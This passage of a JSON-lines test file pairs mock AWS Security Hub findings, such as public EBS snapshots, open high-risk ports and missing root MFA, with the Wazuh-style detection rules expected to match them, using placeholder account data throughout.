"2024-05-02T22:12:25.627Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:31.673Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/EC2.1/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "EBS snapshots should not be publicly restorable", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:08.383Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99841", "level": "12", "expected_decoder": "json", "expected_rule": "99841", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - EBS snapshot is publicly restorable."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether unrestricted incoming traffic for an Amazon EC2 security group is accessible to the specified ports that are considered to be high risk.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"EC2.19\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:26:37.617Z\",\"CreatedAt\":\"2024-01-05T09:26:37.617Z\",\"LastObservedAt\":\"2024-05-02T22:12:25.627Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"restricted-common-ports-661f086b\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/EC2.19/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/EC2.19/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/EC2.19\",\"RecordState\":\"ACTIVE\",\"Title\":\"Security groups should not allow unrestricted access to ports with high risk\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:08.383Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/EC2.19/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsAccount\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-02T22:12:31.673Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "EC2.19", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:37.617Z", "aws.finding.Description": "This control checks whether unrestricted incoming traffic for an Amazon EC2 security group is accessible to the specified ports that are considered to be high risk.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:37.617Z", "aws.finding.GeneratorId": "security-control/EC2.19", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/EC2.19/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-02T22:12:25.627Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:31.673Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/EC2.19/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Security groups should not allow unrestricted access to ports with high risk", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:08.383Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99842", "level": "12", "expected_decoder": "json", "expected_rule": "99842", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Security groups allow unrestricted access to ports with high risk."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether your account is configured with Amazon EMR block public access.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"EMR.2\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:26:37.617Z\",\"CreatedAt\":\"2024-01-05T09:26:37.617Z\",\"LastObservedAt\":\"2024-05-02T22:12:25.627Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"emr-block-public-access-661f086b\",\"RelatedAWSResources:0/type\":\"AWS::::Account\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/EMR.2/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/EMR.2/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/EMR.2\",\"RecordState\":\"ACTIVE\",\"Title\":\"Amazon EMR block public access setting should be enabled\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:08.383Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/EMR.2/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsAccount\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-02T22:12:31.673Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "EMR.2", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:37.617Z", "aws.finding.Description": "This control checks whether your account is configured with Amazon EMR block public access.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:37.617Z", "aws.finding.GeneratorId": "security-control/EMR.2", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/EMR.2/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-02T22:12:25.627Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:31.673Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/EMR.2/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Amazon EMR block public access setting should be enabled", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:08.383Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99843", "level": "12", "expected_decoder": "json", "expected_rule": "99843", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon EMR block public access setting not enabled."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Effects/Data Exposure\"],\"Description\":\"This control checks whether Elasticsearch domains are in a VPC.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"ES.2\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-02-05T09:26:37.617Z\",\"CreatedAt\":\"2024-02-05T09:26:37.617Z\",\"LastObservedAt\":\"2024-05-02T22:12:25.627Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Effects/Data Exposure\"],\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"elasticsearch-in-vpc-only-661f086b\",\"RelatedAWSResources:0/type\":\"AWS::Elasticsearch::Domain\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:iam::123456789000:abcd\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/ES.2/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/ES.2/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/ES.2\",\"RecordState\":\"ACTIVE\",\"Title\":\"Elasticsearch domains should not be publicly accessible\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":90,\"Label\":\"CRITICAL\",\"Original\":\"CRITICAL\"},\"UpdatedAt\":\"2024-05-02T22:12:08.383Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/ES.2/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsAccount\",\"Region\":\"abcde\",\"Id\":\"AWS::::Account:123456789000\"}],\"ProcessedAt\":\"2024-05-02T22:12:31.673Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "ES.2", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-02-05T09:26:37.617Z", "aws.finding.Description": "This control checks whether Elasticsearch domains are in a VPC.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Effects/Data Exposure']", "aws.finding.FirstObservedAt": "2024-02-05T09:26:37.617Z", "aws.finding.GeneratorId": "security-control/ES.2", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/ES.2/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-02T22:12:25.627Z", "aws.finding.ProcessedAt": "2024-05-02T22:12:31.673Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/ES.2/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Elasticsearch domains should not be publicly accessible", "aws.finding.Types": "['Effects/Data Exposure']", "aws.finding.UpdatedAt": "2024-05-02T22:12:08.383Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/02/22/wazuh-security-hub-findings-1-2024-05-02-22-12-04-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99844", "level": "12", "expected_decoder": "json", "expected_rule": "99844", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Elasticsearch domain is publicly accessible."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"log_file\": \"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\", \"s3bucket\":\"abcd-aws-efgh\"}, \"source\": \"securityhub\", \"detail_type\": \"Security Hub Findings - Imported\", \"finding\": {\"ProductArn\": \"arn:aws:securityhub:abcde::product/aws/securityhub\", \"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Description\": \"This control checks whether the root user access key is present.\", \"Compliance\": {\"Status\": \"FAILED\", \"SecurityControlId\": \"IAM.4\", \"RelatedRequirements\": [\"CIS AWS Foundations Benchmark v1.2.0/1.14\"], \"AssociatedStandards\": [{\"StandardsId\": \"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"}, {\"StandardsId\": \"standards/aws-foundational-security-best-practices/v/1.0.0\"}]}, \"ProductName\": \"Security Hub\", \"FirstObservedAt\": \"2024-01-05T09:26:17.001Z\", \"CreatedAt\": \"2024-01-05T09:26:17.001Z\", \"LastObservedAt\": \"2024-05-01T22:12:20.039Z\", \"CompanyName\": \"AWS\", \"FindingProviderFields\": {\"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}}, \"ProductFields\": {\"RelatedAWSResources:0/name\": \"securityhub-abcd-account-hardware-mfa-enabled-664bd5dd\", \"RelatedAWSResources:0/type\": \"AWS::Config::ConfigRule\", \"aws/securityhub/ProductName\": \"Security Hub\", \"aws/securityhub/CompanyName\": \"AWS\", \"Resources:0/Id\": \"arn:aws:iam::123456789000:abcd\", \"aws/securityhub/FindingId\": \"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/IAM.4/finding/abcd-bcde-1234-5678\"}, \"Remediation\": {\"Recommendation\": {\"Text\": \"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\", \"Url\": \"https://docs.aws.amazon.com/console/securityhub/IAM.4/remediation\"}}, \"SchemaVersion\": \"2018-10-08\", \"GeneratorId\": \"security-control/IAM.4\", \"RecordState\": \"ACTIVE\", \"Title\": \"Hardware MFA should be enabled for the root user\", \"Workflow\": {\"Status\": \"NEW\"}, \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}, \"UpdatedAt\": \"2024-05-01T22:12:09.158Z\", \"WorkflowState\": \"NEW\", \"AwsAccountId\": \"123456789000\", \"Region\": \"abcde\", \"Id\": \"arn:aws:securityhub:abcde:123456789000:security-control/IAM.4/finding/abcd-bcde-1234-5678\", \"Resources\": [{\"Partition\": \"aws\", \"Type\": \"AwsAccount\", \"Region\": \"abcde\", \"Id\": \"AWS::::Account:123456789000\"}], \"ProcessedAt\": \"2024-05-01T22:12:24.049Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'ruleset/cis-aws-foundations-benchmark/v/1.2.0'}, {'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.RelatedRequirements": "['CIS AWS Foundations Benchmark v1.2.0/1.14']", "aws.finding.Compliance.SecurityControlId": "IAM.4", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:26:17.001Z", "aws.finding.Description": "This control checks whether the root user access key is present.", "aws.finding.FindingProviderFields.Severity.Label": "CRITICAL", "aws.finding.FindingProviderFields.Severity.Normalized": "90", "aws.finding.FindingProviderFields.Severity.Original": "CRITICAL", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:26:17.001Z", "aws.finding.GeneratorId": "security-control/IAM.4", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/IAM.4/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-01T22:12:20.039Z", "aws.finding.ProcessedAt": "2024-05-01T22:12:24.049Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/IAM.4/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsAccount', 'Region': 'abcde', 'Id': 'AWS::::Account:123456789000'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "CRITICAL", "aws.finding.Severity.Normalized": "90", "aws.finding.Severity.Original": "CRITICAL", "aws.finding.Title": "Hardware MFA should be enabled for the root user", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-01T22:12:09.158Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.RelatedRequirements", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99845", "level": "12", "expected_decoder": "json", "expected_rule": "99845", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - IAM root user access key exists."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"log_file\": \"2024/05/01/22/wazuh-security-hub-findings-1-2024-05-01-22-12-07-abcde-fgh-ijkl\", \"s3bucket\":\"abcd-aws-efgh\"}, \"source\": \"securityhub\", \"detail_type\": \"Security Hub Findings - Imported\", \"finding\": {\"ProductArn\": \"arn:aws:securityhub:abcde::product/aws/securityhub\", \"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Description\": \"This AWS control checks whether your AWS account is enabled to use a hardware multi-factor authentication (MFA) device to sign in with root user credentials.\", \"Compliance\": {\"Status\": \"FAILED\", \"SecurityControlId\": \"IAM.6\", \"RelatedRequirements\": [\"CIS AWS Foundations Benchmark v1.2.0/1.14\"], \"AssociatedStandards\": [{\"StandardsId\": \"ruleset/cis-aws-foundations-benchmark/v/1.2.0\"}, {\"StandardsId\": \"standards/aws-foundational-security-best-practices/v/1.0.0\"}]}, \"ProductName\": \"Security Hub\", \"FirstObservedAt\": \"2024-01-05T09:26:17.001Z\", \"CreatedAt\": \"2024-01-05T09:26:17.001Z\", \"LastObservedAt\": \"2024-05-01T22:12:20.039Z\", \"CompanyName\": \"AWS\", \"FindingProviderFields\": {\"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Severity\": {\"Normalized\": 90, \"Label\": \"CRITICAL\", \"Original\": \"CRITICAL\"}}, \"ProductFields\": {\"RelatedAWSResources:0/name\": \"securityhub-abcd-account-hardware-mfa-enabled-664bd5dd\", \"RelatedAWSResources:0/type\": \"AWS::Config::ConfigRule\", \"aws/securityhub/ProductName\": \"Security Hub\", \"aws/securityhub/CompanyName\": \"AWS\", \"Resources:0/Id\": \"arn:aws:iam::123456789000:abcd\", \"aws/securityhub/FindingId\": 